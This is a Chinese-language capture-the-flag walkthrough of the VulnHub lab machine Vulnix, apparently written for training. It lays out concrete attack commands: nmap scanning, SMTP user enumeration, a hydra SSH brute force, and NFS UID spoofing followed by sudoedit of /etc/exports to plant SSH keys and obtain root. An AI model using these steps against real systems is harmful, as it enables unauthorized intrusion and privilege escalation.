准备工作
靶机基本信息
靶机名称:HackLAB Vulnix
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络(手动设置)
渗透测试目标:获取靶机
root
权限并找到名为trophy
的文件下载地址: 1. HackLAB: Vulnix ~ VulnHub
信息收集
主机发现
在Kali Linux中,使用netdiscover
命令进行主机IP地址发现:
shell
netdiscover -r 192.168.2.0/24
可以确定MAC设备名一栏为VMware, Inc.
的一项即为靶机,IP地址为192.168.2.107
防火墙检测
下面对靶机的防火墙情况进行检测。首先检测ICMP
连通性:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.107
PING 192.168.2.107 (192.168.2.107) 56(84) bytes of data.
64 bytes from 192.168.2.107: icmp_seq=1 ttl=64 time=2.03 ms
64 bytes from 192.168.2.107: icmp_seq=2 ttl=64 time=1.01 ms
64 bytes from 192.168.2.107: icmp_seq=3 ttl=64 time=1.03 ms
64 bytes from 192.168.2.107: icmp_seq=4 ttl=64 time=0.984 ms
--- 192.168.2.107 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.984/1.263/2.029/0.442 ms
发现可以连通靶机。使用Nmap
工具检测防火墙:
shell
nmap -sF -T4 -p- 192.168.2.107
很好,看来在渗透过程当中大概率不需要担心防火墙问题。
网络服务扫描
确定了靶机的防火墙状态之后,我们就可以使用nmap
对靶机进行网络服务和操作系统的探测。
shell
# TCP SYN半开放扫描
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.107
从中可以得知以下信息:
端口 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|
22 | TCP | SSH | OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) |
25 | TCP | SMTP | Postfix smtpd |
79 | TCP | Finger(用户信息查询协议) | Linux fingerd |
110 995 | TCP | POP3 | ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server |
111 | TCP | RPC | rpcbind 2-4 (RPC #100000) |
143 993 | TCP | IMAP | Dovecot imapd |
512 513 | TCP | 未知 | 未知 |
514 | TCP | 未知 | 被应用层防火墙阻断 |
2049 35606 41352 42439 46640 54966 | TCP | NFS | 2-3 (RPC #100227) 1-4 (RPC #100021) 1-3 (RPC #100005) 1-3 (RPC #100005) 1 (RPC #100024) 1-3 (RPC #100005) |
同时得知靶机上操作系统为Ubuntu Linux
,内核版本为Linux 2.6.32 - 3.10
服务探测
SSH服务(22端口)
先尝试通过SSH
连接一下靶机,看看会不会发生什么奇怪的事情(文本信息提示):
shell
ssh root@192.168.2.107
看来靶机的SSH没有给出提示文本。通过nc
工具确定一下Banner
信息:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# nc -nv 192.168.2.107 22
(UNKNOWN) [192.168.2.107] 22 (ssh) open
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1
^C
邮件服务
从网络服务扫描阶段得知,靶机的25
、110
、143
、993
、995
端口为邮件服务端口。下面对其进行探测扫描。
首先使用Nmap
脚本探测SMTP服务(25
端口):
shell
nmap --script=*smtp* -p 25 192.168.2.107
从中我们可以获得以下信息:
smtp-enum-users
脚本无法枚举用户- 邮件服务器并未使用
Exim
软件,无法使用CVE漏洞攻击 (因为Exploit DB
中的大部分有效漏洞都是Exim
的) - 靶机的
SMTP
服务支持以下命令:vulnix
、PIPELINING
、SIZE
、VRFY
、ETRN
、STARTTLS
、ENHANCEDSTATUSCODES
、8BITMIME
、DSN
其中,最有价值的SMTP命令为VRFY
。该命令接收一个SMTP用户名参数,并向服务器查询该用户是否存在,若输入的用户名存在则返回状态码252
,否则返回状态码550
。也就是说,我们只需要提供字典,就可以通过该命令对服务器的SMTP
用户列表进行暴力破解。
这里我们通过Kali Linux自带的smtp-enum-users
工具进行破解,字典选用/usr/share/wordlists/metasploit
下的unix_users.txt
。该字典包含了大量Linux
操作系统上常见的用户名。
爆破命令如下:
shell
# -M 指定SMTP爆破命令
# -U 指定用户名字典
# -t 指定目标
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.2.107 > ./smtp用户扫描结果.txt
发现了28个账户。其中root
、ROOT
和user
账户比较显眼。除了root
账户,判断它们是使用者而非系统建立的。
NFS文件共享服务
共享文件探测
根据Nmap
的扫描结果,NFS网络共享服务使用了2049
、35606
、41352
、42439
、46640
和54966
6个端口。我们可以通过showmount
命令查看靶机的哪些目录被共享:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# showmount -e 192.168.2.107
Export list for 192.168.2.107:
/home/vulnix *
可以看到靶机上很有可能存在一个名为vulnix
的账户,而且它的家目录被共享了出来。
尝试使用SMTP
邮件服务的VRFY
命令验证用户是否存在:
果然。。。。。。
NFS服务简介
NFS,Network File System
,中文为网络文件系统 。NFS服务的作用就是将服务器的文件以文件系统的形式共享给多个用户 。NFS服务依赖于RPC
协议。
下面举一个比较常见的案例:在网吧或者数据中心中,管理员通常在一台中心服务器上安装NFS
服务。中心服务器上共享的是局域网内所有主机的所有用户的个人目录 ,这样就可以节省单台主机的数据存储成本。而如果在客户端内查看当前用户的个人目录,会发现它在肉眼上和普通的目录没有区别,但实际上该目录是由NFS服务挂载的网络共享目录。
NFS服务进程
NFS网络文件系统会启动4
个子服务:
portmapper
,作用为将RPC
程序号解释为本机的网络端口号 。当客户端向其发起查询请求时,它会返回NFS mountd
服务注册的端口号。mountd
,NFS的访问控制程序 。作用为检查客户机是否在NFS的访问控制列表内,并向客户端连接发放令牌。idmapd
,NFS的用户账号集中映射程序 。作用为识别客户机和服务器的系统账号信息。nfsd
,NFS的主进程。作用为向服务器内核发送文件系统指令并返回执行结果。
NFS工作流程
NFS客户端向服务器发送一次请求的完整流程如下:
- 本地用户查看网络目录文件,发送
list
指令到客户机内核。 - 客户机内核识别出该目录为
NFS
网络共享目录,随即发送RPC
数据包,向服务器的111
号端口查询服务器NFS mountd
服务注册的端口号。 - 服务器接收了客户机的查询指令,返回了
mountd
服务的端口号。 - 客户机向服务器的
mountd
服务端口发送访问请求。 - 服务器的
mountd
服务接收到客户机的访问请求后,首先查询访问控制列表 ,若客户机允许访问,则创建访问令牌并将其返回给客户机。 - 客户机带访问令牌访问
nfsd
主服务 。nfsd
主服务校验令牌后 发送list
指令到服务器内核并向客户机返回执行结果。若客户机用户UID
和GID
经集中映射后,和要访问的文件所有者UID
与GID
信息不一致,则返回拒绝访问。 - 客户机内核接收到执行结果后,将其返回至用户Shell。流程结束。
NFS安全问题
我们都知道,NFS服务只是根据客户机发送的UID
和GID
信息进行文件权限识别。但是如果有一台恶意机器通过已经泄露的UID
和GID
信息访问甚至向服务器上传或覆盖文件呢?
一般情况下,只要在恶意机器中创建一个和服务器文件所有者相同UID
、GID
的账户,就可以对服务器文件进行读写,如果允许的话。这样攻击者就可以对机器进行渗透甚至提权。
Finger服务(79端口)
Linux Finger服务介绍
Finger
是一个用于获取本地或远程计算机用户信息的Linux
服务 。当在本地主机执行finger
命令之后,将会返回本地计算机所有的用户信息(包括用户名、最近登录时间、电话等),远程同理。如果指定要查看的具体用户名,将会返回更加详细的信息。
命令格式:
shell
# 一般格式: finger [选项] [用户名@主机名] (最详细信息)
finger root
finger root@192.168.2.107
Finger用户信息探查
既然靶机开放了Finger
服务,那我们就顺带探查一下用户基本信息:
shell
finger {backup,bin,daemon,games,gnats,irc,landscape,libuuid,list,lp,mail,messagebus,man,news,nobody,postfix,postmaster,proxy,root,ROOT,sshd,sync,sys,syslog,user,uucp,whoopsie,www-data}@192.168.2.107
但是没有发现什么有价值的信息:
针对靶机的服务探测结束,下面进入渗透测试部分
渗透测试
SSH爆破
通过前面的服务探测,我们已经得知了SMTP
服务器中有不少于28个用户。而这些已经发现的用户同时大概率是靶机操作系统中的用户 。既然已经得知了用户列表,那么我们就可以挑选一些高价值的目标用户进行SSH
暴力破解。
经过一番筛选,挑选出了4个用户进行爆破:root
、ROOT
、user
、vulnix
(对NFS服务进行探查时发现) 。字典文件选用/usr/share/wordlists/metasploit/unix_passwords.txt
。
(注意将4个用户名一行一个保存在文本文件内)
shell
hydra -L ./userlist -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ssh://192.168.2.107
经过接近1小时的爆破后,我们成功找到了user
用户的密码:
登录信息如下:
- 用户名:
user
- 密码:
letmein
尝试使用Termius
软件登录SSH:
成功!!!
直接使用passwd
改密码:
shell
user@vulnix:~$ passwd
Changing password for user.
(current) UNIX password: *******
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully
对靶机的渗透测试结束,进入权限提升部分
权限提升
本地信息收集
进入靶机之后,首先进行对靶机操作系统的信息收集。为了方便,这里首先使用自动化工具LinPeas
进行扫描收集。GitHub地址:GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
将下载好的linpeas.sh
通过Termius
软件上传到靶机后,赋予执行权限并运行:
shell
chmod 777 ./linpeas.sh
./linpeas.sh
下面展示收集到的部分关键信息:
靶机系统基本信息
得知靶机操作系统为Ubuntu 12.04.1 LTS
,内核版本为3.2.0-29-generic-pae
Sudo版本信息
Text
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.3p1
用户环境变量信息
可用的提权漏洞
- dirty_cow:
CVE-2016-5195
- exploit-x:
CVE-2018-14665
- msr:
CVE-2013-0268
- perf_swevent:
CVE-2013-2094
系统进程信息
系统计划任务
Text
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
网络端口状态
Linux用户和组列表
特殊权限文件
看了一圈,并没有什么值得注意的地方。突然想到靶机有NFS
文件系统服务,而且它共享了用户vulnix
的家目录。为什么不试试NFS
提权?
查看用户vulnix
的UID
和其所属组的GID
,发现为2008:2008
。既然如此,我们直接在本地创建一个UID和GID均为2008
的用户对NFS进行挂载即可。
尝试挂载NFS提权
首先在Kali Linux中执行以下命令,创建恶意NFS用户并建立挂载目录进行挂载:
shell
groupadd -g 2008 nfsattack
adduser --uid 2008 --gid 2008 nfsattack
mkdir /mnt/vulnix_nfs
chown -hR nfsattack:nfsattack /mnt/vulnix_nfs
mount -t nfs 192.168.2.107:/home/vulnix /mnt/vulnix_nfs
进入目录/mnt/vulnix
,通过ls -lA
命令查看文件:
发现几乎什么也没有。尝试创建文件:
成功!
既然如此,我们就直接创建SSH
配置文件夹并上传公钥文件。
首先切换至原用户,使用ssh-keygen
命令生成公私钥,并将公钥文件改名为authorized_keys
上传,权限为600
:
shell
exit
ssh-keygen
cat ~/.ssh/id_rsa.pub > /home/nfsattack/authorized_keys
su nfsattack
cd /mnt/vulnix_nfs
mkdir .ssh
cat ~/authorized_keys > ./.ssh/authorized_keys
chmod 600 ./.ssh/*
随后打开Termius
的设置面板,点击Keychain
一项,将生成的SSH公私钥信息添加进去:
编辑SSH连接信息,用户名填入vulnix
,选择公钥连接,密码为空 ,点击Connect
按钮:
成功!!
使用sudo -l
命令查看该用户是否有Sudo权限,发现该用户可以无密码修改NFS配置文件/etc/exports
:
直接执行命令:
shell
sudoedit /etc/exports
修改NFS配置,令其共享/root
目录,这样我们就可以针对root
用户上传SSH公钥信息。修改完毕之后这里要手动重启虚拟机。。。。
重启之后,使用攻击机的root
用户重新挂载并访问/mnt/vulnix_nfs
共享目录:
shell
mount -t nfs 192.168.2.107:/root /mnt/vulnix_nfs
cd vulnix_nfs
ls -lA
和之前的操作一样,将本机用户的SSH公钥直接上传:
shell
mkdir .ssh
cd .ssh
cat ~/.ssh/id_rsa.pub > ./authorized_keys
chmod 600 ./authorized_keys
在Termius
软件中将SSH用户名修改为root
,其它保持不变,直接连接:
提权成功!!!!
Flag展示
文件名:
trophy.txt
文件大小:33.00
Bytes
MD5:67d6604128f3f1acbe9ee33ca00d8586
SHA256:5ceb3bdd0fe791d2b51b74c51b08863dbbf746728b320e1d572b95a0b887c646
文件内容截图如下: